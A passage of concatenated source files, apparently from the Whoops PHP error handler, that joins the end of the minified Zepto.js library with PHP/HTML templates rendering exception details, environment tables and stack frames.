b||(i="*"),f=b[i],f.innerHTML=""+e,s=n.each(o.call(f.childNodes),function(){f.removeChild(this)})),R(r)&&(u=n(s),n.each(r,function(t,e){g.indexOf(t)>-1?u[t](e):u.attr(t,e)})),s},S.Z=function(t,e){return
t=t||[],t.__proto__=n.fn,t.selector=e||"",t},S.isZ=function(t){return
t instanceof S.Z},S.init=function(e,i){var r;if(!e)return
S.Z();if("string"==typeof
e)if(e=e.trim(),"<"==e[0]&&l.test(e))r=S.fragment(e,RegExp.$1,i),e=null;else{if(i!==t)return
n(i).find(e);r=S.qsa(a,e)}else{if(Z(e))return
n(a).ready(e);if(S.isZ(e))return e;if(A(e))r=k(e);else
if(D(e))r=[e],e=null;else
if(l.test(e))r=S.fragment(e.trim(),RegExp.$1,i),e=null;else{if(i!==t)return
n(i).find(e);r=S.qsa(a,e)}}return S.Z(r,e)},n=function(t,e){return
S.init(t,e)},n.extend=function(t){var
e,n=o.call(arguments,1);return"boolean"==typeof
t&&(e=t,t=n.shift()),n.forEach(function(n){U(t,n,e)}),t},S.qsa=function(t,e){var
n,i="#"==e[0],r=!i&&"."==e[0],s=i||r?e.slice(1):e,a=E.test(s);return
_(t)&&a&&i?(n=t.getElementById(s))?[n]:[]:1!==t.nodeType&&9!==t.nodeType?[]:o.call(a&&!i?r?t.getElementsByClassName(s):t.getElementsByTagName(e):t.querySelectorAll(e))},n.contains=function(t,e){return
t!==e&&t.contains(e)},n.type=L,n.isFunction=Z,n.isWindow=$,n.isArray=A,n.isPlainObject=R,n.isEmptyObject=function(t){var
e;for(e in t)return!1;return!0},n.inArray=function(t,e,n){return
r.indexOf.call(e,t,n)},n.camelCase=C,n.trim=function(t){return
null==t?"":String.prototype.trim.call(t)},n.uuid=0,n.support={},n.expr={},n.map=function(t,e){var
n,r,o,i=[];if(M(t))for(r=0;r<t.length;r++)n=e(t[r],r),null!=n&&i.push(n);else
for(o in t)n=e(t[o],o),null!=n&&i.push(n);return
z(i)},n.each=function(t,e){var
n,i;if(M(t)){for(n=0;n<t.length;n++)if(e.call(t[n],n,t[n])===!1)return
t}else for(i in t)if(e.call(t[i],i,t[i])===!1)return t;return
t},n.grep=function(t,e){return
s.call(t,e)},window.JSON&&(n.parseJSON=JSON.parse),n.each("Boolean
Number String Function Array Date RegExp Object Error".split("
"),function(t,e){j["[object
"+e+"]"]=e.toLowerCase()}),n.fn={forEach:r.forEach,reduce:r.reduce,push:r.push,sort:r.sort,indexOf:r.indexOf,concat:r.concat,map:function(t){return
n(n.map(this,function(e,n){return t.call(e,n,e)}))},slice:function(){return
n(o.apply(this,arguments))},ready:function(t){return
w.test(a.readyState)&&a.body?t(n):a.addEventListener("DOMContentLoaded",function(){t(n)},!1),this},get:function(e){return
e===t?o.call(this):this[e>=0?e:e+this.length]},toArray:function(){return
this.get()},size:function(){return this.length},remove:function(){return
this.each(function(){null!=this.parentNode&&this.parentNode.removeChild(this)})},each:function(t){return
r.every.call(this,function(e,n){return
t.call(e,n,e)!==!1}),this},filter:function(t){return
Z(t)?this.not(this.not(t)):n(s.call(this,function(e){return
S.matches(e,t)}))},add:function(t,e){return
n(N(this.concat(n(t,e))))},is:function(t){return
this.length>0&&S.matches(this[0],t)},not:function(e){var
i=[];if(Z(e)&&e.call!==t)this.each(function(t){e.call(this,t)||i.push(this)});else{var
r="string"==typeof
e?this.filter(e):M(e)&&Z(e.item)?o.call(e):n(e);this.forEach(function(t){r.indexOf(t)<0&&i.push(t)})}return
n(i)},has:function(t){return this.filter(function(){return
D(t)?n.contains(this,t):n(this).find(t).size()})},eq:function(t){return-1===t?this.slice(t):this.slice(t,+t+1)},first:function(){var
t=this[0];return t&&!D(t)?t:n(t)},last:function(){var
t=this[this.length-1];return t&&!D(t)?t:n(t)},find:function(t){var
e,i=this;return e="object"==typeof t?n(t).filter(function(){var
t=this;return r.some.call(i,function(e){return
n.contains(e,t)})}):1==this.length?n(S.qsa(this[0],t)):this.map(function(){return
S.qsa(this,t)})},closest:function(t,e){var
i=this[0],r=!1;for("object"==typeof
t&&(r=n(t));i&&!(r?r.indexOf(i)>=0:S.matches(i,t));)i=i!==e&&!_(i)&&i.parentNode;return
n(i)},parents:function(t){for(var
e=[],i=this;i.length>0;)i=n.map(i,function(t){return(t=t.parentNode)&&!_(t)&&e.indexOf(t)<0?(e.push(t),t):void
0});return B(e,t)},parent:function(t){return
B(N(this.pluck("parentNode")),t)},children:function(t){return
B(this.map(function(){return V(this)}),t)},contents:function(){return
this.map(function(){return
o.call(this.childNodes)})},siblings:function(t){return
B(this.map(function(t,e){return s.call(V(e.parentNode),function(t){return
t!==e})}),t)},empty:function(){return
this.each(function(){this.innerHTML=""})},pluck:function(t){return
n.map(this,function(e){return e[t]})},show:function(){return
this.each(function(){"none"==this.style.display&&(this.style.display=""),"none"==getComputedStyle(this,"").getPropertyValue("display")&&(this.style.display=I(this.nodeName))})},replaceWith:function(t){return
this.before(t).remove()},wrap:function(t){var
e=Z(t);if(this[0]&&!e)var
i=n(t).get(0),r=i.parentNode||this.length>1;return
this.each(function(o){n(this).wrapAll(e?t.call(this,o):r?i.cloneNode(!0):i)})},wrapAll:function(t){if(this[0]){n(this[0]).before(t=n(t));for(var
e;(e=t.children()).length;)t=e.first();n(t).append(this)}return
this},wrapInner:function(t){var e=Z(t);return this.each(function(i){var
r=n(this),o=r.contents(),s=e?t.call(this,i):t;o.length?o.wrapAll(s):r.append(s)})},unwrap:function(){return
this.parent().each(function(){n(this).replaceWith(n(this).children())}),this},clone:function(){return
this.map(function(){return this.cloneNode(!0)})},hide:function(){return
this.css("display","none")},toggle:function(e){return
this.each(function(){var
i=n(this);(e===t?"none"==i.css("display"):e)?i.show():i.hide()})},prev:function(t){return
n(this.pluck("previousElementSibling")).filter(t||"*")},next:function(t){return
n(this.pluck("nextElementSibling")).filter(t||"*")},html:function(t){return
0===arguments.length?this.length>0?this[0].innerHTML:null:this.each(function(e){var
i=this.innerHTML;n(this).empty().append(J(this,t,e,i))})},text:function(e){return
0===arguments.length?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=e===t?"":""+e})},attr:function(n,i){var
r;return"string"==typeof
n&&i===t?0==this.length||1!==this[0].nodeType?t:"value"==n&&"INPUT"==this[0].nodeName?this.val():!(r=this[0].getAttribute(n))&&n
in
this[0]?this[0][n]:r:this.each(function(t){if(1===this.nodeType)if(D(n))for(e
in n)X(this,e,n[e]);else
X(this,n,J(this,i,t,this.getAttribute(n)))})},removeAttr:function(t){return
this.each(function(){1===this.nodeType&&X(this,t)})},prop:function(e,n){return
e=P[e]||e,n===t?this[0]&&this[0][e]:this.each(function(t){this[e]=J(this,n,t,this[e])})},data:function(e,n){var
i=this.attr("data-"+e.replace(m,"-$1").toLowerCase(),n);return
null!==i?Y(i):t},val:function(t){return
0===arguments.length?this[0]&&(this[0].multiple?n(this[0]).find("option").filter(function(){return
this.selected}).pluck("value"):this[0].value):this.each(function(e){this.value=J(this,t,e,this.value)})},offset:function(t){if(t)return
this.each(function(e){var
i=n(this),r=J(this,t,e,i.offset()),o=i.offsetParent().offset(),s={top:r.top-o.top,left:r.left-o.left};"static"==i.css("position")&&(s.position="relative"),i.css(s)});if(0==this.length)return
null;var
e=this[0].getBoundingClientRect();return{left:e.left+window.pageXOffset,top:e.top+window.pageYOffset,width:Math.round(e.width),height:Math.round(e.height)}},css:function(t,i){if(arguments.length<2){var
r=this[0],o=getComputedStyle(r,"");if(!r)return;if("string"==typeof
t)return r.style[C(t)]||o.getPropertyValue(t);if(A(t)){var s={};return
n.each(A(t)?t:[t],function(t,e){s[e]=r.style[C(e)]||o.getPropertyValue(e)}),s}}var
a="";if("string"==L(t))i||0===i?a=F(t)+":"+H(t,i):this.each(function(){this.style.removeProperty(F(t))});else
for(e in
t)t[e]||0===t[e]?a+=F(e)+":"+H(e,t[e])+";":this.each(function(){this.style.removeProperty(F(e))});return
this.each(function(){this.style.cssText+=";"+a})},index:function(t){return
t?this.indexOf(n(t)[0]):this.parent().children().indexOf(this[0])},hasClass:function(t){return
t?r.some.call(this,function(t){return
this.test(W(t))},q(t)):!1},addClass:function(t){return
t?this.each(function(e){i=[];var
r=W(this),o=J(this,t,e,r);o.split(/\s+/g).forEach(function(t){n(this).hasClass(t)||i.push(t)},this),i.length&&W(this,r+(r?"
":"")+i.join("
"))}):this},removeClass:function(e){return
this.each(function(n){return
e===t?W(this,""):(i=W(this),J(this,e,n,i).split(/\s+/g).forEach(function(t){i=i.replace(q(t),"
")}),void W(this,i.trim()))})},toggleClass:function(e,i){return
e?this.each(function(r){var
o=n(this),s=J(this,e,r,W(this));s.split(/\s+/g).forEach(function(e){(i===t?!o.hasClass(e):i)?o.addClass(e):o.removeClass(e)})}):this},scrollTop:function(e){if(this.length){var
n="scrollTop"in this[0];return
e===t?n?this[0].scrollTop:this[0].pageYOffset:this.each(n?function(){this.scrollTop=e}:function(){this.scrollTo(this.scrollX,e)})}},scrollLeft:function(e){if(this.length){var
n="scrollLeft"in this[0];return
e===t?n?this[0].scrollLeft:this[0].pageXOffset:this.each(n?function(){this.scrollLeft=e}:function(){this.scrollTo(e,this.scrollY)})}},position:function(){if(this.length){var
t=this[0],e=this.offsetParent(),i=this.offset(),r=d.test(e[0].nodeName)?{top:0,left:0}:e.offset();return
i.top-=parseFloat(n(t).css("margin-top"))||0,i.left-=parseFloat(n(t).css("margin-left"))||0,r.top+=parseFloat(n(e[0]).css("border-top-width"))||0,r.left+=parseFloat(n(e[0]).css("border-left-width"))||0,{top:i.top-r.top,left:i.left-r.left}}},offsetParent:function(){return
this.map(function(){for(var
t=this.offsetParent||a.body;t&&!d.test(t.nodeName)&&"static"==n(t).css("position");)t=t.offsetParent;return
t})}},n.fn.detach=n.fn.remove,["width","height"].forEach(function(e){var
i=e.replace(/./,function(t){return
t[0].toUpperCase()});n.fn[e]=function(r){var o,s=this[0];return
r===t?$(s)?s["inner"+i]:_(s)?s.documentElement["scroll"+i]:(o=this.offset())&&o[e]:this.each(function(t){s=n(this),s.css(e,J(this,r,t,s[e]()))})}}),v.forEach(function(t,e){var
i=e%2;n.fn[t]=function(){var t,o,r=n.map(arguments,function(e){return
t=L(e),"object"==t||"array"==t||null==e?e:S.fragment(e)}),s=this.length>1;return
r.length<1?this:this.each(function(t,a){o=i?a:a.parentNode,a=0==e?a.nextSibling:1==e?a.firstChild:2==e?a:null,r.forEach(function(t){if(s)t=t.cloneNode(!0);else
if(!o)return
n(t).remove();G(o.insertBefore(t,a),function(t){null==t.nodeName||"SCRIPT"!==t.nodeName.toUpperCase()||t.type&&"text/javascript"!==t.type||t.src||window.eval.call(window,t.innerHTML)})})})},n.fn[i?t+"To":"insert"+(e?"Before":"After")]=function(e){return
n(e)[t](this),this}}),S.Z.prototype=n.fn,S.uniq=N,S.deserializeValue=Y,n.zepto=S,n}();window.Zepto=Zepto,void
0===window.$&&(window.$=Zepto),function(t){function l(t){return
t._zid||(t._zid=e++)}function h(t,e,n,i){if(e=p(e),e.ns)var
r=d(e.ns);return(s[l(t)]||[]).filter(function(t){return!(!t||e.e&&t.e!=e.e||e.ns&&!r.test(t.ns)||n&&l(t.fn)!==l(n)||i&&t.sel!=i)})}function
p(t){var
e=(""+t).split(".");return{e:e[0],ns:e.slice(1).sort().join("
")}}function d(t){return new RegExp("(?:^|
)"+t.replace(" "," .* ?")+"(?:
|$)")}function m(t,e){return t.del&&!u&&t.e in
f||!!e}function g(t){return c[t]||u&&f[t]||t}function
v(e,i,r,o,a,u,f){var
h=l(e),d=s[h]||(s[h]=[]);i.split(/\s/).forEach(function(i){if("ready"==i)return
t(document).ready(r);var s=p(i);s.fn=r,s.sel=a,s.e in
c&&(r=function(e){var
n=e.relatedTarget;return!n||n!==this&&!t.contains(this,n)?s.fn.apply(this,arguments):void
0}),s.del=u;var
l=u||r;s.proxy=function(t){if(t=j(t),!t.isImmediatePropagationStopped()){t.data=o;var
i=l.apply(e,t._args==n?[t]:[t].concat(t._args));return
i===!1&&(t.preventDefault(),t.stopPropagation()),i}},s.i=d.length,d.push(s),"addEventListener"in
e&&e.addEventListener(g(s.e),s.proxy,m(s,f))})}function
y(t,e,n,i,r){var
o=l(t);(e||"").split(/\s/).forEach(function(e){h(t,e,n,i).forEach(function(e){delete
s[o][e.i],"removeEventListener"in
t&&t.removeEventListener(g(e.e),e.proxy,m(e,r))})})}function
j(e,i){return(i||!e.isDefaultPrevented)&&(i||(i=e),t.each(E,function(t,n){var
r=i[t];e[t]=function(){return
this[n]=x,r&&r.apply(i,arguments)},e[n]=b}),(i.defaultPrevented!==n?i.defaultPrevented:"returnValue"in
i?i.returnValue===!1:i.getPreventDefault&&i.getPreventDefault())&&(e.isDefaultPrevented=x)),e}function
T(t){var e,i={originalEvent:t};for(e in
t)w.test(e)||t[e]===n||(i[e]=t[e]);return j(i,t)}var
n,e=1,i=Array.prototype.slice,r=t.isFunction,o=function(t){return"string"==typeof
t},s={},a={},u="onfocusin"in
window,f={focus:"focusin",blur:"focusout"},c={mouseenter:"mouseover",mouseleave:"mouseout"};a.click=a.mousedown=a.mouseup=a.mousemove="MouseEvents",t.event={add:v,remove:y},t.proxy=function(e,n){if(r(e)){var
i=function(){return e.apply(n,arguments)};return
i._zid=l(e),i}if(o(n))return t.proxy(e[n],e);throw new
TypeError("expected function")},t.fn.bind=function(t,e,n){return
this.on(t,e,n)},t.fn.unbind=function(t,e){return
this.off(t,e)},t.fn.one=function(t,e,n,i){return this.on(t,e,n,i,1)};var
x=function(){return!0},b=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,E={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};t.fn.delegate=function(t,e,n){return
this.on(e,t,n)},t.fn.undelegate=function(t,e,n){return
this.off(e,t,n)},t.fn.live=function(e,n){return
t(document.body).delegate(this.selector,e,n),this},t.fn.die=function(e,n){return
t(document.body).undelegate(this.selector,e,n),this},t.fn.on=function(e,s,a,u,f){var
c,l,h=this;return
e&&!o(e)?(t.each(e,function(t,e){h.on(t,s,a,e,f)}),h):(o(s)||r(u)||u===!1||(u=a,a=s,s=n),(r(a)||a===!1)&&(u=a,a=n),u===!1&&(u=b),h.each(function(n,r){f&&(c=function(t){return
y(r,t.type,u),u.apply(this,arguments)}),s&&(l=function(e){var
n,o=t(e.target).closest(s,r).get(0);return
o&&o!==r?(n=t.extend(T(e),{currentTarget:o,liveFired:r}),(c||u).apply(o,[n].concat(i.call(arguments,1)))):void
0}),v(r,e,u,a,s,l||c)}))},t.fn.off=function(e,i,s){var a=this;return
e&&!o(e)?(t.each(e,function(t,e){a.off(t,i,e)}),a):(o(i)||r(s)||s===!1||(s=i,i=n),s===!1&&(s=b),a.each(function(){y(this,e,s,i)}))},t.fn.trigger=function(e,n){return
e=o(e)||t.isPlainObject(e)?t.Event(e):j(e),e._args=n,this.each(function(){"dispatchEvent"in
this?this.dispatchEvent(e):t(this).triggerHandler(e,n)})},t.fn.triggerHandler=function(e,n){var
i,r;return
this.each(function(s,a){i=T(o(e)?t.Event(e):e),i._args=n,i.target=a,t.each(h(a,e.type||e),function(t,e){return
r=e.proxy(i),i.isImmediatePropagationStopped()?!1:void
0})}),r},"focusin focusout load resize scroll unload click dblclick
mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change
select keydown keypress keyup error".split("
").forEach(function(e){t.fn[e]=function(t){return
t?this.bind(e,t):this.trigger(e)}}),["focus","blur"].forEach(function(e){t.fn[e]=function(t){return
t?this.bind(e,t):this.each(function(){try{this[e]()}catch(t){}}),this}}),t.Event=function(t,e){o(t)||(e=t,t=e.type);var
n=document.createEvent(a[t]||"Events"),i=!0;if(e)for(var r in
e)"bubbles"==r?i=!!e[r]:n[r]=e[r];return
n.initEvent(t,i,!0),j(n)}}(Zepto),function(t){function l(e,n,i){var
r=t.Event(n);return t(e).trigger(r,i),!r.isDefaultPrevented()}function
h(t,e,i,r){return t.global?l(e||n,i,r):void 0}function
p(e){e.global&&0===t.active++&&h(e,null,"ajaxStart")}function
d(e){e.global&&!--t.active&&h(e,null,"ajaxStop")}function
m(t,e){var n=e.context;return
e.beforeSend.call(n,t,e)===!1||h(e,n,"ajaxBeforeSend",[t,e])===!1?!1:void
h(e,n,"ajaxSend",[t,e])}function g(t,e,n,i){var
r=n.context,o="success";n.success.call(r,t,o,e),i&&i.resolveWith(r,[t,o,e]),h(n,r,"ajaxSuccess",[e,n,t]),y(o,e,n)}function
v(t,e,n,i,r){var
o=i.context;i.error.call(o,n,e,t),r&&r.rejectWith(o,[n,e,t]),h(i,o,"ajaxError",[n,i,t||e]),y(e,n,i)}function
y(t,e,n){var
i=n.context;n.complete.call(i,e,t),h(n,i,"ajaxComplete",[e,n]),d(n)}function
x(){}function b(t){return
t&&(t=t.split(";",2)[0]),t&&(t==f?"html":t==u?"json":s.test(t)?"script":a.test(t)&&"xml")||"text"}function
w(t,e){return""==e?t:(t+"&"+e).replace(/[&?]{1,2}/,"?")}function
E(e){e.processData&&e.data&&"string"!=t.type(e.data)&&(e.data=t.param(e.data,e.traditional)),!e.data||e.type&&"GET"!=e.type.toUpperCase()||(e.url=w(e.url,e.data),e.data=void
0)}function j(e,n,i,r){return t.isFunction(n)&&(r=i,i=n,n=void
0),t.isFunction(i)||(r=i,i=void
0),{url:e,data:n,success:i,dataType:r}}function S(e,n,i,r){var
o,s=t.isArray(n),a=t.isPlainObject(n);t.each(n,function(n,u){o=t.type(u),r&&(n=i?r:r+"["+(a||"object"==o||"array"==o?n:"")+"]"),!r&&s?e.add(u.name,u.value):"array"==o||!i&&"object"==o?S(e,u,i,n):e.add(n,u)})}var
i,r,e=0,n=window.document,o=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,s=/^(?:text|application)\/javascript/i,a=/^(?:text|application)\/xml/i,u="application/json",f="text/html",c=/^\s*$/;t.active=0,t.ajaxJSONP=function(i,r){if(!("type"in
i))return t.ajax(i);var
f,h,o=i.jsonpCallback,s=(t.isFunction(o)?o():o)||"jsonp"+
++e,a=n.createElement("script"),u=window[s],c=function(e){t(a).triggerHandler("error",e||"abort")},l={abort:c};return
r&&r.promise(l),t(a).on("load
error",function(e,n){clearTimeout(h),t(a).off().remove(),"error"!=e.type&&f?g(f[0],l,i,r):v(null,n||"error",l,i,r),window[s]=u,f&&t.isFunction(u)&&u(f[0]),u=f=void
0}),m(l,i)===!1?(c("abort"),l):(window[s]=function(){f=arguments},a.src=i.url.replace(/\?(.+)=\?/,"?$1="+s),n.head.appendChild(a),i.timeout>0&&(h=setTimeout(function(){c("timeout")},i.timeout)),l)},t.ajaxSettings={type:"GET",beforeSend:x,success:x,error:x,complete:x,context:null,global:!0,xhr:function(){return
new window.XMLHttpRequest},accepts:{script:"text/javascript,
application/javascript,
application/x-javascript",json:u,xml:"application/xml,
text/xml",html:f,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},t.ajax=function(e){var
n=t.extend({},e||{}),o=t.Deferred&&t.Deferred();for(i in
t.ajaxSettings)void
0===n[i]&&(n[i]=t.ajaxSettings[i]);p(n),n.crossDomain||(n.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(n.url)&&RegExp.$2!=window.location.host),n.url||(n.url=window.location.toString()),E(n),n.cache===!1&&(n.url=w(n.url,"_="+Date.now()));var
s=n.dataType,a=/\?.+=\?/.test(n.url);if("jsonp"==s||a)return
a||(n.url=w(n.url,n.jsonp?n.jsonp+"=?":n.jsonp===!1?"":"callback=?")),t.ajaxJSONP(n,o);var
j,u=n.accepts[s],f={},l=function(t,e){f[t.toLowerCase()]=[t,e]},h=/^([\w-]+:)\/\//.test(n.url)?RegExp.$1:window.location.protocol,d=n.xhr(),y=d.setRequestHeader;if(o&&o.promise(d),n.crossDomain||l("X-Requested-With","XMLHttpRequest"),l("Accept",u||"*/*"),(u=n.mimeType||u)&&(u.indexOf(",")>-1&&(u=u.split(",",2)[0]),d.overrideMimeType&&d.overrideMimeType(u)),(n.contentType||n.contentType!==!1&&n.data&&"GET"!=n.type.toUpperCase())&&l("Content-Type",n.contentType||"application/x-www-form-urlencoded"),n.headers)for(r
in
n.headers)l(r,n.headers[r]);if(d.setRequestHeader=l,d.onreadystatechange=function(){if(4==d.readyState){d.onreadystatechange=x,clearTimeout(j);var
e,i=!1;if(d.status>=200&&d.status<300||304==d.status||0==d.status&&"file:"==h){s=s||b(n.mimeType||d.getResponseHeader("content-type")),e=d.responseText;try{"script"==s?(1,eval)(e):"xml"==s?e=d.responseXML:"json"==s&&(e=c.test(e)?null:t.parseJSON(e))}catch(r){i=r}i?v(i,"parsererror",d,n,o):g(e,d,n,o)}else
v(d.statusText||null,d.status?"error":"abort",d,n,o)}},m(d,n)===!1)return
d.abort(),v(null,"abort",d,n,o),d;if(n.xhrFields)for(r in
n.xhrFields)d[r]=n.xhrFields[r];var T="async"in
n?n.async:!0;d.open(n.type,n.url,T,n.username,n.password);for(r in
f)y.apply(d,f[r]);return
n.timeout>0&&(j=setTimeout(function(){d.onreadystatechange=x,d.abort(),v(null,"timeout",d,n,o)},n.timeout)),d.send(n.data?n.data:null),d},t.get=function(){return
t.ajax(j.apply(null,arguments))},t.post=function(){var
e=j.apply(null,arguments);return
e.type="POST",t.ajax(e)},t.getJSON=function(){var
e=j.apply(null,arguments);return
e.dataType="json",t.ajax(e)},t.fn.load=function(e,n,i){if(!this.length)return
this;var a,r=this,s=e.split(/\s/),u=j(e,n,i),f=u.success;return
s.length>1&&(u.url=s[0],a=s[1]),u.success=function(e){r.html(a?t("<div>").html(e.replace(o,"")).find(a):e),f&&f.apply(r,arguments)},t.ajax(u),this};var
T=encodeURIComponent;t.param=function(t,e){var n=[];return
n.add=function(t,e){this.push(T(t)+"="+T(e))},S(n,t,e),n.join("&").replace(/%20/g,"+")}}(Zepto),function(t){t.fn.serializeArray=function(){var
n,e=[];return
t([].slice.call(this.get(0).elements)).each(function(){n=t(this);var
i=n.attr("type");"fieldset"!=this.nodeName.toLowerCase()&&!this.disabled&&"submit"!=i&&"reset"!=i&&"button"!=i&&("radio"!=i&&"checkbox"!=i||this.checked)&&e.push({name:n.attr("name"),value:n.val()})}),e},t.fn.serialize=function(){var
t=[];return
this.serializeArray().forEach(function(e){t.push(encodeURIComponent(e.name)+"="+encodeURIComponent(e.value))}),t.join("&")},t.fn.submit=function(e){if(e)this.bind("submit",e);else
if(this.length){var
n=t.Event("submit");this.eq(0).trigger(n),n.isDefaultPrevented()||this.get(0).submit()}return
this}}(Zepto),function(t){"__proto__"in{}||t.extend(t.zepto,{Z:function(e,n){return
e=e||[],t.extend(e,t.fn),e.selector=n||"",e.__Z=!0,e},isZ:function(e){return"array"===t.type(e)&&"__Z"in
e}});try{getComputedStyle(void 0)}catch(e){var
n=getComputedStyle;window.getComputedStyle=function(t){try{return
n(t)}catch(e){return null}}}}(Zepto);
<?php /* List data-table values, i.e: $_SERVER, $_GET, .... */ ?>
<div class="details">
<h2 class="details-heading">Environment &
details:</h2>
<div class="data-table-container"
id="data-tables">
<?php foreach ($tables as $label => $data): ?>
<div class="data-table" id="sg-<?php echo
$tpl->escape($tpl->slug($label)) ?>">
<?php if (!empty($data)): ?>
<label><?php echo $tpl->escape($label)
?></label>
<table class="data-table">
<thead>
<tr>
<td class="data-table-k">Key</td>
<td class="data-table-v">Value</td>
</tr>
</thead>
<?php foreach ($data as $k => $value): ?>
<tr>
<td><?php echo $tpl->escape($k)
?></td>
<td><?php echo $tpl->dump($value)
?></td>
</tr>
<?php endforeach ?>
</table>
<?php else: ?>
<label class="empty"><?php echo
$tpl->escape($label) ?></label>
<span class="empty">empty</span>
<?php endif ?>
</div>
<?php endforeach ?>
</div>
<?php /* List registered handlers, in order of first to last
registered */ ?>
<div class="data-table-container"
id="handlers">
<label>Registered Handlers</label>
<?php foreach ($handlers as $i => $h): ?>
<div class="handler <?php echo ($h === $handler) ?
'active' : ''?>">
<?php echo $i ?>. <?php echo
$tpl->escape(get_class($h)) ?>
</div>
<?php endforeach ?>
</div>
</div>
<div class="frames-container <?php echo $active_frames_tab ==
'application' ? 'frames-container-application' :
'' ?>">
<?php $tpl->render($frame_list) ?>
</div><div class="frames-description <?php echo
$has_frames_tabs ? 'frames-description-application' :
'' ?>">
<?php if ($has_frames_tabs): ?>
<a href="#" id="application-frames-tab"
class="frames-tab <?php echo $active_frames_tab ==
'application' ? 'frames-tab-active' : ''
?>">
Application frames (<?php echo $frames->countIsApplication()
?>)
</a>
<a href="#" id="all-frames-tab"
class="frames-tab <?php echo $active_frames_tab == 'all'
? 'frames-tab-active' : '' ?>">
All frames (<?php echo count($frames) ?>)
</a>
<?php else: ?>
<span>
Stack frames (<?php echo count($frames) ?>)
</span>
<?php endif; ?>
</div>
<?php /* Display a code block for all frames in the stack.
* @todo: This should PROBABLY be done on-demand, lest
* we get 200 frames to process. */ ?>
<div class="frame-code-container <?php echo (!$has_frames ?
'empty' : '') ?>">
<?php foreach ($frames as $i => $frame): ?>
<?php $line = $frame->getLine(); ?>
<div class="frame-code <?php echo ($i == 0 ) ?
'active' : '' ?>" id="frame-code-<?php
echo $i ?>">
<div class="frame-file">
<?php $filePath = $frame->getFile(); ?>
<?php if ($filePath && $editorHref =
$handler->getEditorHref($filePath, (int) $line)): ?>
<a href="<?php echo $editorHref ?>"
class="editor-link"<?php echo
($handler->getEditorAjax($filePath, (int) $line) ? '
data-ajax' : '') ?>>
Open:
<strong><?php echo
$tpl->breakOnDelimiter('/', $tpl->escape($filePath ?:
'<#unknown>')) ?></strong>
</a>
<?php else: ?>
<strong><?php echo
$tpl->breakOnDelimiter('/', $tpl->escape($filePath ?:
'<#unknown>')) ?></strong>
<?php endif ?>
</div>
<?php
// Do nothing if there's no line to work off
if ($line !== null):
// the $line is 1-indexed, we nab -1 where needed to account for
this
$range = $frame->getFileLines($line - 20, 40);
// getFileLines can return null if there is no source code
if ($range):
$range = array_map(function ($line) { return empty($line) ?
' ' : $line;}, $range);
$start = key($range) + 1;
$code = join("\n", $range);
?>
<pre id="frame-code-linenums-<?=$i?>"
class="code-block linenums:<?php echo $start
?>"><?php echo $tpl->escape($code) ?></pre>
<?php endif ?>
<?php endif ?>
<?php $frameArgs = $tpl->dumpArgs($frame); ?>
<?php if ($frameArgs): ?>
<div class="frame-file">
Arguments
</div>
<div id="frame-code-args-<?=$i?>"
class="code-block frame-args">
<?php echo $frameArgs; ?>
</div>
<?php endif ?>
<?php
// Append comments for this frame
$comments = $frame->getComments();
?>
<div class="frame-comments <?php echo empty($comments) ?
'empty' : '' ?>">
<?php foreach ($comments as $commentNo => $comment): ?>
<?php extract($comment) ?>
<div class="frame-comment"
id="comment-<?php echo $i . '-' . $commentNo
?>">
<span class="frame-comment-context"><?php
echo $tpl->escape($context) ?></span>
<?php echo $tpl->escapeButPreserveUris($comment) ?>
</div>
<?php endforeach ?>
</div>
</div>
<?php endforeach ?>
</div>
<?php /* List file names & line numbers for all stack frames;
clicking these links/buttons will display the code view
for that particular frame */ ?>
<?php foreach ($frames as $i => $frame): ?>
<div class="frame <?php echo ($i == 0 ? 'active' :
'') ?> <?php echo ($frame->isApplication() ?
'frame-application' : '') ?>"
id="frame-line-<?php echo $i ?>">
<span class="frame-index"><?php echo
(count($frames) - $i - 1) ?></span>
<div class="frame-method-info">
<span class="frame-class"><?php echo
$tpl->breakOnDelimiter('\\',
$tpl->escape($frame->getClass() ?: '')) ?></span>
<span class="frame-function"><?php echo
$tpl->breakOnDelimiter('\\',
$tpl->escape($frame->getFunction() ?: ''))
?></span>
</div>
<div class="frame-file">
<?php echo $frame->getFile() ?
$tpl->breakOnDelimiter('/',
$tpl->shorten($tpl->escape($frame->getFile()))) :
'<#unknown>' ?><!--
--><span class="frame-line"><?php echo (int)
$frame->getLine() ?></span>
</div>
</div>
<?php endforeach;
<div class="exception">
<div class="exc-title">
<?php foreach ($name as $i => $nameSection): ?>
<?php if ($i == count($name) - 1): ?>
<span class="exc-title-primary"><?php echo
$tpl->escape($nameSection) ?></span>
<?php else: ?>
<?php echo $tpl->escape($nameSection) . ' \\' ?>
<?php endif ?>
<?php endforeach ?>
<?php if ($code): ?>
<span title="Exception Code">(<?php echo
$tpl->escape($code) ?>)</span>
<?php endif ?>
</div>
<div class="exc-message">
<?php if (!empty($message)): ?>
<span><?php echo $tpl->escape($message)
?></span>
<?php if (count($previousMessages)): ?>
<div class="exc-title prev-exc-title">
<span class="exc-title-secondary">Previous
exceptions</span>
</div>
<ul>
<?php foreach ($previousMessages as $i =>
$previousMessage): ?>
<li>
<?php echo $tpl->escape($previousMessage) ?>
<span class="prev-exc-code">(<?php echo
$previousCodes[$i] ?>)</span>
</li>
<?php endforeach; ?>
</ul>
<?php endif ?>
<?php else: ?>
<span class="exc-message-empty-notice">No
message</span>
<?php endif ?>
<ul class="search-for-help">
<?php if (!empty($docref_url)): ?>
<li>
<a rel="noopener noreferrer" target="_blank"
href="<?php echo $docref_url; ?>" title="Search for
help in the PHP manual.">
<!-- PHP icon by Icons Solid -->
<!-- https://www.iconfinder.com/icons/322421/book_icon -->
<!-- Free for commercial use -->
<svg height="16px" id="Layer_1"
style="enable-background:new 0 0 32 32;" version="1.1"
viewBox="0 0 32 32" width="16px"
xml:space="preserve" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"><g
transform="translate(240 0)"><path
d="M-211,4v26h-24c-1.104,0-2-0.895-2-2s0.896-2,2-2h22V0h-22c-2.209,0-4,1.791-4,4v24c0,2.209,1.791,4,4,4h26V4H-211z
M-235,8V2h20v22h-20V8z M-219,6h-12V4h12V6z M-223,10h-8V8h8V10z
